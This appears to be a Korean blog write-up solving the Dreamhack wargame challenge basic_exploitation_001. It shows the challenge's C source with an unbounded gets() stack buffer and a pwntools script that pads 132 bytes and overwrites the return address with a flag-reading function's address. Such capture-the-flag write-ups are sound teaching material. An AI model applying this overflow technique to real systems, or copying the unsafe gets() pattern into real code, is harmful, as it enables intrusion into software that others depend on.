Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
Tags
- RCE
- CodeEngn
- rev-basic-1
- Dreamhack
- rev-basic-7
- 코드엔진 베이직 13
- Basic
- rev-basic-4
- L18
- basic_exploitation_001
- rev-basic-6
- rev-basic-3
- rev-basic-0
- rev-basic-2
- sint
- L17
- 포너블
- 코드엔진 베이직
- pwnable.kr
- rev-basic-5
- 드림핵
- off_by_one_000
- L16
- coin1
- sd카드 리더기
- out_of_bound
- L15
- basic_exploitation_000
- Pwnable
- off_by_one_001
Archives
- Today
- Total
서브웨이
dreamhack basic_exploitation_001 풀이 본문
바로 다음 문제를 풀어봅시다.
아까와 같은 형태의 문제네요.
일단 소스코드를 열어봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
basic_exploitation_000 문제와 비슷하지만, 이번 문제에서는 아예 플래그를 출력하는 함수가 존재합니다.
어차피 스택 형태는 다음과 같으므로 132바이트를 더미로 채우고 마지막 4바이트에 read_flag 함수의 주소를 입력하면 될 듯 합니다.
read_flag 함수의 주소는 다음과 같이 찾아줍니다.
간단하게 0x080485b9라는 것을 알 수 있습니다.
그럼 익스플로잇 코드는 다음과 같이 구성합니다.
from pwn import *
p = remote('host1.dreamhack.games', PORT)
adr = 0x80485b9
payload = b'\x80'*132
payload += p32(adr)
p.send(payload)
p.interactive()
'Pwnable > dreamhack' 카테고리의 다른 글
dreamhack off_by_one_000 풀이 (0) | 2021.07.27 |
---|---|
dreamhack welcome 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_003 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_002 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_000 풀이 (0) | 2021.07.19 |
Comments